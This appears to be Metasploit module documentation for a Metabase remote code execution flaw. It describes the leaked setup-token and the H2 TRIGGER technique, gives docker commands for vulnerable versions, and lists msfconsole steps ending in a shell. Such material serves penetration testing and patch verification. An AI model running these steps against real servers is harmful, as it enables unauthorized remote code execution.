## Vulnerable Application

Metabase versions before 0.46.6.1 contain a flaw where the secret setup-token
is accessible even after the setup process has been completed. With this token
a user is able to submit the setup functionality to create a new database.
When creating a new database, an H2 database string is created with a TRIGGER
that allows for code execution. We use a sample database for our connection
string to prevent corrupting real databases.

Successfully tested against Metabase 0.46.6, 0.44.4, 0.42.1.

### Install

Example of impacted versions:

```
docker run --rm -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker run --rm -p 3000:3000 --name metabase metabase/metabase:v0.44.4
docker run --rm -p 3000:3000 --name metabase metabase/metabase:v0.42.1
```

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use exploit/linux/http/metabase_setup_token_rce`
1. Do: `set rhosts [ip]`
1. Do: `run`
1. You should get a shell.
